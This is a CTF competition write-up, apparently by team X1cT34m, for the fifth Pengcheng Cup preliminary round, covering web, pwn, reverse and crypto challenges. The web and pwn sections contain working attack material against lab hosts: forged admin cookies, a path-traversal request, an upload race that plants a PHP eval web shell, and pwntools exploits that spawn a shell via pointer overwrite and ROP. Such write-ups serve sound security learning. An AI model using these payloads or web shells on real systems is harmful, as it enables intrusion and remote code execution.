Web

pcb5-ez_php | solved

192.168.18.22:25005
dirsearch:

Target: http://192.168.18.22:25005/

[18:27:29] Starting:                                                                                                                                          
[18:27:44] 302 -    0B  - /dashboard.php  ->  index.php                     
[18:27:46] 200 -   19B  - /flag.php                                         
[18:27:54] 302 -    0B  - /profile.php  ->  index.php                       
[18:27:59] 200 -    1KB - /test.txt                                         
[18:28:00] 200 -    0B  - /upload.php

直接伪造admin登录会报错:
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
a改为\61绕过:

identification:TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtTOjU6Ilw2MWRtaW4iO30=

直接读flag.php,结尾加斜杠绕过对后缀的限制,payload:

http://192.168.18.22:25005/dashboard.php?filename=flag.php/
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室

pcb5-Uplssse | solved

192.168.18.26:25002
伪造admin登录,is_admin改为1:

user_auth:Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE6IjEiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ==

后续打条件竞争,burpsuite intruder一直上传文件shell.php:

<?php
fputs (fopen("evil.php","w"),'<?php @eval($_REQUEST[1]);?>');
?>

python脚本访问shell.php,执行成功就生成evil.php并且不会被删除:

import requests

url = "http://192.168.18.26:25002/tmp/shell.php"
while True:
    resp = requests.get(url)
    if resp.status_code == 200:
        print("OK")
        break
    else:
        print("NO")

蚁剑连evil.php,flag在根目录下

pcb5-ezDjango | solved

https://pan.baidu.com/s/1ss8wzZjzO1QaKD-5y4QnWw?pwd=1234
192.168.18.27:25003

curl -X POST "http://192.168.18.27:25003/copy/" -H "Content-Type: application/x-www-form-urlencoded" -d "src=../../../flag&dst=/tmp/django_cache/e4a25f7b052442a076b02ee9a1818d2e.djcache"
{"status": "success", "message": "File copied", "src": "../../../flag", "dst": "/tmp/django_cache/e4a25f7b052442a076b02ee9a1818d2e.djcache"}
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室

Pwn

pcb5-myZoo | solved

https://pan.baidu.com/s/14UddXQVGmnMuLNk3_-kbzQ?pwd=1234
192.168.18.24:26004
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
可以看到三个动物公用了一个ptr全局指针
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
给bird起名后不会清空ptr
而且bird的name字段和cat的回调指针重叠了, 我们可以修改cat的回调指针为printf
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
可以泄露libc地址
用相同的步骤可以再次覆盖回调指针为system, 以此rce

from pwn import *
#io=process('./pwn')
io=remote("192.168.18.24",26004)
libc=ELF('./libc.so.6')
def bug():
    gdb.attach(io)
def ch(Id):
    io.sendline(str(Id).encode())
def bird(payload):
    ch(3)
    io.sendline(b"yes\nyes")
    io.recvuntil("那你起个名字吧")
    io.send(payload)
def cat(payload):
    ch(2)
    io.sendline(b"yes")
    io.send(payload)
io.recvuntil(b"@")
pie=int(io.recv(14),16)-0x12C9
print(hex(pie))
bird(b'a'*4+p64(pie+0x1170))
cat(b"%39$p\x00")
ch(2)
io.recvuntil("这个嘛")
ch(2)
io.recvuntil(b"0x")
io.recvuntil(b"0x")
base=int(io.recv(12),16)-0x29e40
print(hex(base))
io.sendline(b"no")
#-----------------------------------------------------------
bird(b'a'*4+p64(base+libc.sym.system))
cat(b"sh\x00")
ch(2)
ch(2)
io.interactive()

pcb5-Pivoting | solved

https://pan.baidu.com/s/17pYlzTCFsAMvNJyuHOn7Nw?pwd=1234
192.168.18.21:26005
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
可以栈溢出8字节, 栈迁移
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室

from pwn import *
#io=process('./pwn')
io=remote("192.168.18.21",26005)
bss=0x404800
libc=ELF('./libc.so.6')
def bug():
    gdb.attach(io)
io.send(b'a'*0x40)
io.recvuntil(b"Please tell me your name\n")
data=u64(io.recv(8))
print(hex(data))
io.sendline(b"1")
io.sendlineafter(b"withdraw?",b"12")
io.recvuntil(b"Are you sure?\n")
payload=b'a'*0x50+p64(bss)+p64(0x40145F)
io.send(payload)
io.recvuntil(b"do for you")
io.sendline(b"0")
io.sendline(b"1")
io.send(b'a'*0x40)
#----------------------------------------------------
io.sendline(b"1")
io.sendlineafter(b"withdraw?",b"12")
io.recvuntil(b"Are you sure?\n")
payload=p64(0x4014EC)+p64(0)+p64(1)+p64(0x404028)+p64(0x1000)+p64(0x4047e8)+p64(0)+p64(0x4014D2)+b'a'*0x10+p64(bss-0x58)+p64(0x4014C8)
io.send(payload)
#----------------------------------------------------
pause()
magic=0x40119D-1
offset=libc.sym.execve-libc.sym.setvbuf
got=0x404030
payload=p64(0x4014EC)+p64(offset)+p64(got+0x3d)+p64(0)*4+p64(magic)+p64(0x4014EC)+p64(0)+p64(1)+p64(got)+p64(0)*2+p64(0x404868)+p64(0x4014D2)+b"/bin/sh\x00"
io.send(payload)
io.interactive()

Reverse

pcb5-LinuxChal | Solved

https://pan.baidu.com/s/1P6lB6Dx9UhPhb1RW5FoqSw?pwd=1234
第一步,通过qword数组调用的函数标记上名字,显然,在内存中写入了elf文件再执行,这里在__write处下断点,提取文件,命名为code
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
找到code中的加密代码

    for ( i1 = *((_DWORD *)v225 + 1); i1 < 1008; ++i1 )
      flag[box[3 * i1 + 2]] = ~(flag[box[3 * i1 + 1]] & flag[box[3 * i1]]);

如果box是随机没有规律的显然没办法逆向,这里应理解为数据代替程序,要从box中找规律,写等效代码。

  1. 所有的值仅被赋值一次
  2. 先赋值0x0030-0x03ef,暂存区
  3. 再赋值0x0000-0x0017,有效数据区域
    非同的运算性质,两数相等就等效于取逆,满足交换律不满足结合律。
    从最后一段来看有明显规律,0x34b开始每次间隔4的这个就是最终计算结果。
    第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
    倒数第二段,这是异或逻辑:
    a^b = NAND(NAND(a, c), NAND(b, c)), c=NAND(a, b)
    第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
    像这样从前到后把每一段都做好分组注释,前面的部分都是这样一长一短,共8个周期。
    布尔运算简化:长的部分等效于NAND(a, b)^c,短的部分等效于d^e,
    关注参数的调用,等效于NAND(a_i, bi)^a{i+1}^c_i,一个进3出1的函数
    第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
    整理一下8组的输入输出
    第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
    最后解出flag:
    flag{B62o3$cC..*cE70O7?}

pcb5-Get_My_Emoji | Solved

https://pan.baidu.com/s/1-BNaUcZRsxd2SgcKJ0tZGg?pwd=1234

第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
RC4魔改点:初始化不是0-255,而是0-255取反。
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
下面plus这个函数藏了个花指令
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
把xor后面一段nop掉,retn nop掉就能反编译了
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
由此判断加密流程:RC4(x) + delta
R:real flag
F:fake flag
对题目给的enc进行RC4后是fake flag,也就是说R的信息藏在了程序中
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
空白png加密后再RC4是这样的,程序同时包含了R和F。记这个图为M
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
猜测是这样得到的:
RC4(R) + F_RC4 - R_RC4 = F_RC4
RC4(W) + F_RC4 - R_RC4 = M_RC4
如果是这样的话 R_RC4 = RC4(W) + F_RC4 - M_RC4,公式应该不对,但是弄出了个相近的

from PIL import Image
import os
import sys

# --- 1. RC4 加密/解密核心函数 ---

def rc4_ksa(key: bytes) -> list:
    """RC4 密钥流调度算法 (KSA)"""
    j = 0
    key_len = len(key)
    S = [0xFF ^ i for i in range(256)]
    for i in range(256):
        j = (j + S[i] + key[i % key_len]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_prga(S: list, data: bytes) -> bytes:
    """RC4 伪随机生成算法 (PRGA) 和加密/解密"""
    i = 0
    j = 0
    encrypted_data = bytearray()
    S_copy = S
    for data_byte in data:
        i = (i + 1) % 256
        j = (j + S_copy[i]) % 256
        S_copy[i], S_copy[j] = S_copy[j], S_copy[i]
        t = (S_copy[i] + S_copy[j]) % 256
        key_stream_byte = S_copy[t]
        encrypted_byte = data_byte ^ key_stream_byte
        encrypted_data.append(encrypted_byte)

    return bytes(encrypted_data)

def RC4(data: bytes, key: bytes = b"rc4!2025"):
    S = rc4_ksa(key)
    return rc4_prga(S, data)

def plus(a: bytes, b: bytes):
    assert len(a) == len(b)
    s = b""
    for i in range(len(a)):
        s += bytes([(a[i] + b[i]) % 256])
    return s

def minus(a: bytes, b: bytes):
    assert len(a) == len(b)
    s = b""
    for i in range(len(a)):
        s += bytes([(a[i] - b[i]) % 256])
    return s

output_path = "output_emoji.png"
fake_emoji_path = "fake_emoji.png"
mix_path = "mix.png"
mix2_path = "mix2.png"
white_path = "white.png"
black_path = "black.png"

try:
    img = Image.open(fake_emoji_path)
    fake = img.tobytes()

    img = Image.open(white_path)
    white = img.tobytes()

    img = Image.open(black_path)
    black = img.tobytes()

    img = Image.open(mix_path)
    mix = img.tobytes()

    img = Image.open(mix2_path)
    mix2 = img.tobytes()

    res = minus(RC4(mix), RC4(white))
    print(res[:20])
    res = minus(RC4(mix2), RC4(black))
    print(res[:20])

    res = plus(RC4(fake), RC4(white))
    res = minus(res, RC4(mix))
    res = RC4(res)

    # res = plus(RC4(fake), RC4(black))
    # res = minus(res, RC4(mix2))
    # res = RC4(res)

    img = Image.frombytes(img.mode, img.size, res)
    img.save(output_path, "PNG")

except FileNotFoundError:
    print(f"错误:找不到文件")
    sys.exit(1)
except Exception as e:
    print(f"处理图片时发生错误: {e}")
    sys.exit(1)

第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室
flag{c0ngr47ul473_y0u_c4n_u53_my_3m0ji_n0w}

Crypto

pcb5-true_or_false | solved

https://pan.baidu.com/s/1j7C4hgSToapCEFHutis0Qg?pwd=1234
盐都不盐了flag贴脸上了
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室

pcb5-babyRSA | solved

https://pan.baidu.com/s/1-FCeXSSeKmgq_tmWQm7tjg?pwd=1234
gemini是真好用
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室

import sys
from decimal import Decimal, getcontext
from Crypto.Util.number import long_to_bytes, isPrime, inverse

# ==========================================
# 1. 填入题目数据
# ==========================================
# 设置足够高的精度以处理 1024 位的大数
getcontext().prec = 2000

leak_str = "1.396995694831414203476063690838730308815841662737318558906107823553922718340982125801595368449608188770051881765292978548960520326036779130167518285237817101541807766017642530065080930654694948943506714268685400709580398894902693407016988670394423892586264077247263710263220932577837642377245651448838665854362532801659965471421937839336237670710012298796758992931116659292915200628873553198226185187089027680973673618973869464164460226697625936493428822424637497370197316811245879504779934098600596822159243994319583651080005054538419168988020562590543262648544970376255020489363894055887067948343768399654357738592577280906555896933717091837896978973488220368081406433117367524537063718421897982643644320078600517763936883820416362057895941185749296170109172249907094176821124345672294602380784325702476105763209165109703429326132417850746805701054961710623030742187505484821961670922386999933202645522248608323217011522889282323071281405301772218220381951540118124201599862330377374571641729649420917168701463539034702411"

d_int = 16306054997613721520756151430779642117683661431522665108784419231044104572118893098180652730976905729602478591047033305251624752030036736271198006715513694904231940253554804069707679445942892410812386221633728427239116007373836662495075237456279818311659331982404534490546781763464409713789636372508503902598331950861474527128323735250673137355260113147338636761737748874105625008482750923429512271416511835596944209137554445130949731646669691366003832655082535985891463876904334888009751956386994969339847254470145428608062575606120441725590059524749595027078238962391188809496875025237129899849787699468205026040721

c_int = 7908369000608075306226552240713890041649799894903074579356627811865842237315201153498579205223600526520994811661608630888045462921547166872107507948062717836952855804806976414887413729060431265217539895710936669089248515746191716161194996469977577048602427553584286064475300979649416171469313168995504717602670924606819204605601860560767900702512753735554900344201907921239415885901489708576066483012272256175573658509614344875077232108364134161997767814675830320630271209201503987787921279932886374846298269125068817280777403718279754392091441050281244934594776307137448975055247018414699621410668188864774860026941

# ==========================================
# 2. 连分数算法恢复 p 和 q
# ==========================================

def continued_fraction_convergents(x):
    """
    生成 Decimal x 的连分数渐进分数
    yield (numerator, denominator)
    """
    x = Decimal(x)
    h_prev, h_curr = 0, 1
    k_prev, k_curr = 1, 0

    while True:
        a = int(x)

        # 计算新的分子和分母
        h_next = a * h_curr + h_prev
        k_next = a * k_curr + k_prev

        yield h_next, k_next

        h_prev, h_curr = h_curr, h_next
        k_prev, k_curr = k_curr, k_next

        # 处理剩余部分
        frac_part = x - a
        if frac_part == 0:
            break
        x = 1 / frac_part

print("[*] Starting continued fraction expansion...")

found = False
for p_candidate, q_candidate in continued_fraction_convergents(leak_str):
    # q 应该是 1024 位的质数
    # 我们可以根据位长来过滤,大大减少计算量
    q_bits = q_candidate.bit_length()

    if q_bits > 1030:
        print("[-] Denominator bit length exceeded expectations. Stopping.")
        break

    if 1000 < q_bits < 1040:  # q 应该是 1024 位左右
        # 验证 p 和 q 是否为素数
        # 这是一个耗时操作,所以只对符合长度的候选者进行
        if isPrime(p_candidate) and isPrime(q_candidate):
            print(f"[+] Found candidate primes!")
            print(f"    p: {str(p_candidate)[:30]}...")
            print(f"    q: {str(q_candidate)[:30]}...")

            # 验证: 尝试计算 e
            phi = (p_candidate - 1) * (q_candidate - 1)
            try:
                # 尝试反推 e
                e_calc = inverse(d_int, phi)
                print(f"[+] Recovered public exponent e: {e_calc}")

                # 如果 e 是常见的较小数(如 65537),或者至少比较小,说明找到了正确的 p,q
                # 即使 e 很大,只要逆元存在,尝试解密也是值得的

                n = p_candidate * q_candidate
                m_int = pow(c_int, d_int, n)
                try:
                    flag = long_to_bytes(m_int).decode()
                    print(f"\n[SUCCESS] Flag: {flag}")
                    found = True
                    break
                except UnicodeDecodeError:
                    # 如果不能解码为 utf-8,可能是乱码,但也打印出来看看
                    print(f"[!] Decrypted bytes (hex): {long_to_bytes(m_int).hex()}")
            except Exception as e:
                print(f"[-] Check failed for this pair: {e}")

if not found:
    print("[-] Failed to recover flag.")
'''
[*] Starting continued fraction expansion...
[+] Found candidate primes!
    p: 179641148481484422040051479074...
    q: 128591053749212195863076531226...
[+] Recovered public exponent e: 17

[SUCCESS] Flag: flag{th1s_1s_4_ture_fl4g}
'''

pcb5-PECO | solved

https://pan.baidu.com/s/1NxkQZsRRJBR0WmnnUgBAeg?pwd=1234
gift1是Pell方程,用连分数的方法求解最小xy。
gift2是dfs剪枝,从最低位开始深搜,利用$$pq=n$$和$$p^{7}+q^{13}=gift_2\mod 2^{777}$$进行剪枝,最终得到777低位,用copper求解。
最后根据assert构造格。
$$(k,f_0,f_1)
\left(\begin{matrix}
m&0&0\
x&1&0\
y&0&1\
\end{matrix}\right)
=(r,f_0,f_1)$$

from sage.rings.continued_fraction import convergents
from Crypto.Util.number import *

for frac in convergents(sqrt(81421)):
    numerator, denominator = frac.numerator(), frac.denominator()
    if numerator**2 - 81421 * denominator**2 == 1:
        print(f"x = {numerator}")
        print(f"y = {denominator}")
        break
x, y = numerator, denominator

n = 18443962106578943927922829208562388331564422618353954662348987125496135728205879853444693999188714508145409575298801277623433658530589571956301880815632542860363148763704636874275223979061507756787642735086825973011622866458454405794279633717255674221895468734500735123736684346340314680683830866884050311047424068122453972745273167956795195575475691048908906061023817574695902603984554911326264947716547564759877947888574515784489778380086664649338093680740990860192640619047071160362288611331225632270531304525264824445326394068892806774552310748255977040249822464839809344521107040968321810533993659358229305320413
c = 8176283809770578639445916571748890916863681496488338436815389781344271720445865752568007651231910205530735296305471880971422173915403956857863330698931559658909826642456860761540607878553228782799635976463090037022164739976302533892173751687781100980039065722082091714141141136171701360981540040678479802206949078162548124224838019262997441233919136963696523351831737708850863538007579105976954619102728135600542584651031405327214877358323388674864043740117718200022790892542634633918493245432384562983429810936975869853596007429259749282607844407676244954057886824475948603911174707176467261179324130051317766768127
gift2 = 26161714402997656593966327522661504448812191236385246127313450633226841096347099194721417620572738092514050785292503472019045698167235604357096118735431692892202119807587271344465029467089266358735895706496467947787464475365718387614

ans = []

def dfs(k, p, q):
    if (int(p, 2) ** 7 + int(q, 2) ** 13 - gift2) & (2**k - 1) == 0\
            and (int(p, 2) * int(q, 2) - n) & (2**k - 1) == 0:
        if k == 777:
            ans.append((int(p, 2), int(q, 2)))
        else:
            dfs(k + 1, "0" + p, "0" + q)
            dfs(k + 1, "1" + p, "1" + q)
            dfs(k + 1, "1" + p, "0" + q)
            dfs(k + 1, "0" + p, "1" + q)

dfs(1, "1", "1")

for ph, qh in ans:
    R.<t> = PolynomialRing(Zmod(n))
    f = ph + t*(2**777)
    f = f.monic()
    res = f.small_roots(X=2**250, beta=0.4)
    if res:
        p = int(ph + res[0]*(2**777))
        q = n // p
        print(p*q == n)

phi = (p - 1) * (q - 1)
d = pow(65537, -1, phi)
m = pow(c, d, n)
print(f"m = {m}")

ge = [
    [m,0,0],
    [x,1,0],
    [y,0,1]
]

Ge = Matrix(ZZ, ge)
L = Ge.LLL()
row = L.row(0)
f0 = row[1]
f1 = row[2]
print(long_to_bytes(int(f0)) + long_to_bytes(int(f1)))

pcb5-weak_leak | solved

https://pan.baidu.com/s/1O9kiXdhe6Iq9Pc5caZU-HA?pwd=1234
gemini还是太好用了
第五届“鹏城杯”联邦网络靶场协同攻防演练初赛 Writeup by X1cT34m-小绿草信息安全实验室

import hashlib
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes, inverse
import math

# --- 1. 题目给出的已知数据 ---
salt = "f62b3e49c1f05d1c"
target_hash = "a0bcbfda9bd2f0364c6f4ad0f996465bec0da2de8cd51ee11c9c883b47779cc4"
n1 = 5584300989285538211153365890789627571870624311506728764237201442331520767215704903718501881100700113185783404202199758018541582967691088869854375384182438
n2 = 5584300989285538211153365890789627571870624311506728764237201442331520767215684679677759040755449786845864086748368453212978360679736956915595159857669375
cipher_rsa = 4516247026166659285144948330256302160375394741001987438893860039618683568332625137344822301939534363324551681121344467717871483193109869787946141254659256
iv_b64 = "G+Mn2WPXhRztrDdD8m+1gw=="
ct_b64 = "j9mUOuK2iz9ZHZor8BcsXNFhFRGzkw1x4a5T1GzaYJJ8VhHj+7jN0Id47fcxw/7F"

iv = base64.b64decode(iv_b64)
ct = base64.b64decode(ct_b64)

# 题目中的常量
LCG_A, LCG_B, LCG_MOD = 1103515245, 12345, 10007
SECRET_VALUE = 1234
e = 65537

# --- 2. 爆破 6位 PIN ---
print("[*] Cracking password...")
password = None
for i in range(1000000):
    pwd_cand = f"{i:06d}"
    # 注意:原题是 (salt + password).encode(),salt是字符串
    h = hashlib.sha256((salt + pwd_cand).encode()).hexdigest()
    if h == target_hash:
        password = pwd_cand
        print(f"[+] Password found: {password}")
        break

if not password:
    print("Password not found!")
    exit()

# --- 3. 恢复 LCG 序列以获取 seq9 ---
def gen_seq(seed, a, b, m, length):
    seq = [seed % m]
    for _ in range(length - 1):
        nxt = (a * seq[-1] + b) % m
        nxt ^= (seq[-1] & 0xff)
        seq.append(nxt)
    return seq

lcg_seed = (int(password) ^ SECRET_VALUE) % LCG_MOD
seq = gen_seq(lcg_seed, LCG_A, LCG_B, LCG_MOD, 15)
seq9 = seq[9]
print(f"[+] Recovered seq9: {seq9}")

# --- 4. 求解 p 和 q (RSA 数学部分) ---
# n1 = p * (q + 1)  => n1 = pq + p
# n2 = (p + 1) * q + seq9 => n2 = pq + q + seq9
#
# n1 - p = pq
# n2 - seq9 - q = pq
# 联立: n1 - p = n2 - seq9 - q
# => q = n2 - n1 - seq9 + p
#
# 代入 n1 = p(q + 1):
# n1 = p * ( (n2 - n1 - seq9 + p) + 1 )
# n1 = p * ( p + (n2 - n1 - seq9 + 1) )
# Let K = n2 - n1 - seq9 + 1
# n1 = p^2 + Kp
# p^2 + Kp - n1 = 0
# 这是一元二次方程,用求根公式 p = (-b + sqrt(b^2 - 4ac)) / 2a

K = n2 - n1 - seq9 + 1
a = 1
b = K
c = -n1

# 判别式 delta = b^2 - 4ac
delta = b * b - 4 * a * c
sqrt_delta = math.isqrt(delta) # 整数开方

if sqrt_delta * sqrt_delta != delta:
    print("[-] Error: Delta is not a perfect square, math assumption wrong.")
    exit()

p = (-b + sqrt_delta) // (2 * a)
q = (n1 // p) - 1

# 验证
assert n1 == p * (q + 1)
assert n2 == (p + 1) * q + seq9
print(f"[+] Found p: {p}")
print(f"[+] Found q: {q}")

# --- 5. RSA 解密 ---
n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

masked_key_int = pow(cipher_rsa, d, n)
print(f"[+] Decrypted masked key int: {masked_key_int}")

# --- 6. 恢复 AES Key 并解密 Flag ---
mask_bytes = hashlib.sha256(str(seq9).encode()).digest()[:16]
mask_int = int.from_bytes(mask_bytes, 'big')

aes_key_int = masked_key_int ^ mask_int
aes_key = long_to_bytes(aes_key_int)

# 确保 key 长度为 16 (AES-128)
if len(aes_key) < 16:
    aes_key = aes_key.rjust(16, b'\0') 
elif len(aes_key) > 16:
     # 理论上 bytes_to_long 可能会把高位0去掉,但 long_to_bytes通常还原准确
     # 这里如果不满16字节,说明高位是0
     aes_key = aes_key.rjust(16, b'\x00')

print(f"[+] AES Key: {aes_key.hex()}")

cipher = AES.new(aes_key, AES.MODE_CBC, iv)
try:
    plaintext = unpad(cipher.decrypt(ct), 16)
    print(f"\n[SUCCESS] FLAG: {plaintext.decode()}")
except Exception as e:
    print(f"[-] Decryption failed: {e}")
'''
[*] Cracking password...
[+] Password found: 384457
[+] Recovered seq9: 2191
[+] Found p: 85521263473824766227818846323904319418946431813031743497481757287536903337967
[+] Found q: 65297222730984420977492506404586865587641626249809455543349803028321376822713
[+] Decrypted masked key int: 203253726858773721534447794838550820237
[+] AES Key: ab2553cc5412343bdbd1607770492fcf

[SUCCESS] FLAG: flag{7980dd68-c028-439d-8f33-3b4e4cfeeb55}
'''

pcb5-budo的pem | solved

https://pan.baidu.com/s/1yIyDYblgoYO54KENu8G9aQ?pwd=1234
把公私钥证书合并一下得到

MIIEbQIBAAKCAQEA2B2xlQJMm9A92FZlatEZ+hmgp3EgvxDZxAL06z3HmLYR/dnC
CcF9h5OfqS+w6MEUcyMifdLt2BtA9oKlTeEDXwrwOmYOwbNNtoiE0Dji4a+qt5VG
1HJQ/TDSpwp//YPxE481PslPWL8rNEj4xNMyQZ4+GjLPcx3O22bsH8QK/f46Ba0t
HPT3ZqZCy2RpC0XitkZWOvtt/fWZ34SDi3EfGwp5tfe98QiKT3ehCxOtijZx2/+SABMTf8Xil1pYHNh7zIUV2HO/rsQzTLHDGxYg
Yxb5LL5En66BFXQRPl6y7QFT0fzLgKAhDoB24cX79q+rvqc60YBcChsgxwzywTv+
AwKCAQBwVQnsKD3JTju+hcoeNoWFhnIfPRqNZ4E0UeFgcozIfnOl8Wo8TtPvtVPt
4V1UAd4ywmXMSQKmZmo7fY6YRLnLKh/8RHnfDQ8e6ZJxhJOtR8sonfIGM3oGOg+w
119moJmBIKAie0rAEADu4OjmABKqarYT+5Kzc5Iu4yhbbL1Cmjv4pjFyCQ4UaxnP
GQrxWr5lc+mau/0BaV+ADCz0cGPvf+yeaWD5GWgkO2cyrkMaPvQI6gJ+PnzURuM9
Qw8Y7brYxl91SwZKg8wP+B15RybFwffTn/kaec06fhj+JvPPoj3jNJ/LRNcISgXn
mu2YkK3q6TLT53idAggyQyNiseEl
30 82 04 6d 02 01 00 02 82 01 01 00 d8 1d b1 95 02 4c 9b d0 3d d8 56 65 6a d1 19 
fa 19 a0 a7 71 20 bf 10 d9 c4 02 f4 eb 3d c7 98 b6 11 fd d9 c2 09 c1 7d 87 93 9f 
a9 2f b0 e8 c1 14 73 23 22 7d d2 ed d8 1b 40 f6 82 a5 4d e1 03 5f 0a f0 3a 66 0e 
c1 b3 4d b6 88 84 d0 38 e2 e1 af aa b7 95 46 d4 72 50 fd 30 d2 a7 0a 7f fd 83 f1 
13 8f 35 3e c9 4f 58 bf 2b 34 48 f8 c4 d3 32 41 9e 3e 1a 32 cf 73 1d ce db 66 ec 
1f c4 0a fd fe 3a 05 ad 2d 1c f4 f7 66 a6 42 cb 64 69 0b 45 e2 b6 46 56 3a fb 6d 
fd f5 99 df 84 83 8b 71 1f 1b 0a 79 b5 f7 bd f1 08 8a 4f 77 a1 0b 13 ad 8a 36 71 
db ff 92 00 13 13 7f c5 e2 97 5a 58 1c d8 7b cc 85 15 d8 73 bf ae c4 33 4c b1 c3 
1b 16 20 63 16 f9 2c be 44 9f ae 81 15 74 11 3e 5e b2 ed 01 53 d1 fc cb 80 a0 21 
0e 80 76 e1 c5 fb f6 af ab be a7 3a d1 80 5c 0a 1b 20 c7 0c f2 c1 3b fe 03 02 82 
01 00 70 55 09 ec 28 3d c9 4e 3b be 85 ca 1e 36 85 85 86 72 1f 3d 1a 8d 67 81 34 
51 e1 60 72 8c c8 7e 73 a5 f1 6a 3c 4e d3 ef b5 53 ed e1 5d 54 01 de 32 c2 65 cc 
49 02 a6 66 6a 3b 7d 8e 98 44 b9 cb 2a 1f fc 44 79 df 0d 0f 1e e9 92 71 84 93 ad 
47 cb 28 9d f2 06 33 7a 06 3a 0f b0 d7 5f 66 a0 99 81 20 a0 22 7b 4a c0 10 00 ee 
e0 e8 e6 00 12 aa 6a b6 13 fb 92 b3 73 92 2e e3 28 5b 6c bd 42 9a 3b f8 a6 31 72 
09 0e 14 6b 19 cf 19 0a f1 5a be 65 73 e9 9a bb fd 01 69 5f 80 0c 2c f4 70 63 ef 
7f ec 9e 69 60 f9 19 68 24 3b 67 32 ae 43 1a 3e f4 08 ea 02 7e 3e 7c d4 46 e3 3d 
43 0f 18 ed ba d8 c6 5f 75 4b 06 4a 83 cc 0f f8 1d 79 47 26 c5 c1 f7 d3 9f f9 1a 
79 cd 3a 7e 18 fe 26 f3 cf a2 3d e3 34 9f cb 44 d7 08 4a 05 e7 9a ed 98 90 ad ea 
e9 32 d3 e7 78 9d 02 08 32 43 23 62 b1 e1 25

查找0282然后得到n和e

n = 0xd81db195024c9bd03dd856656ad119fa19a0a77120bf10d9c402f4eb3dc798b611fdd9c209c17d87939fa92fb0e8c1147323227dd2edd81b40f682a54de1035f0af03a660ec1b34db68884d038e2e1afaab79546d47250fd30d2a70a7ffd83f1138f353ec94f58bf2b3448f8c4d332419e3e1a32cf731dcedb66ec1fc40afdfe3a05ad2d1cf4f766a642cb64690b45e2b646563afb6dfdf599df84838b711f1b0a79b5f7bdf1088a4f77a10b13ad8a3671dbff920013137fc5e2975a581cd87bcc8515d873bfaec4334cb1c31b16206316f92cbe449fae811574113e5eb2ed0153d1fccb80a0210e8076e1c5fbf6afabbea73ad1805c0a1b20c70cf2c13bfe03

e = 0x705509ec283dc94e3bbe85ca1e36858586721f3d1a8d67813451e160728cc87e73a5f16a3c4ed3efb553ede15d5401de32c265cc4902a6666a3b7d8e9844b9cb2a1ffc4479df0d0f1ee992718493ad47cb289df206337a063a0fb0d75f66a0998120a0227b4ac01000eee0e8e60012aa6ab613fb92b373922ee3285b6cbd429a3bf8a63172090e146b19cf190af15abe6573e99abbfd01695f800c2cf47063ef7fec9e6960f91968243b6732ae431a3ef408ea027e3e7cd446e33d430f18edbad8c65f754b064a83cc0ff81d794726c5c1f7d39ff91a79cd3a7e18fe26f3cfa23de3349fcb44d7084a05e79aed9890adeae932d3e7789d020832432362b1e125

维纳不行,用Boneh Durfee,delta=0.27,m=5,解出d

from Crypto.Util.number import *

d = 2818724236741671359128769187179810547909044666675265260768069231661668260817660718866645913151917874535631116172290215144275909425092025869246764203201125241729277109

n = 0xd81db195024c9bd03dd856656ad119fa19a0a77120bf10d9c402f4eb3dc798b611fdd9c209c17d87939fa92fb0e8c1147323227dd2edd81b40f682a54de1035f0af03a660ec1b34db68884d038e2e1afaab79546d47250fd30d2a70a7ffd83f1138f353ec94f58bf2b3448f8c4d332419e3e1a32cf731dcedb66ec1fc40afdfe3a05ad2d1cf4f766a642cb64690b45e2b646563afb6dfdf599df84838b711f1b0a79b5f7bdf1088a4f77a10b13ad8a3671dbff920013137fc5e2975a581cd87bcc8515d873bfaec4334cb1c31b16206316f92cbe449fae811574113e5eb2ed0153d1fccb80a0210e8076e1c5fbf6afabbea73ad1805c0a1b20c70cf2c13bfe03

with open(r"enc", "rb") as f:
    ciphertext = f.read()

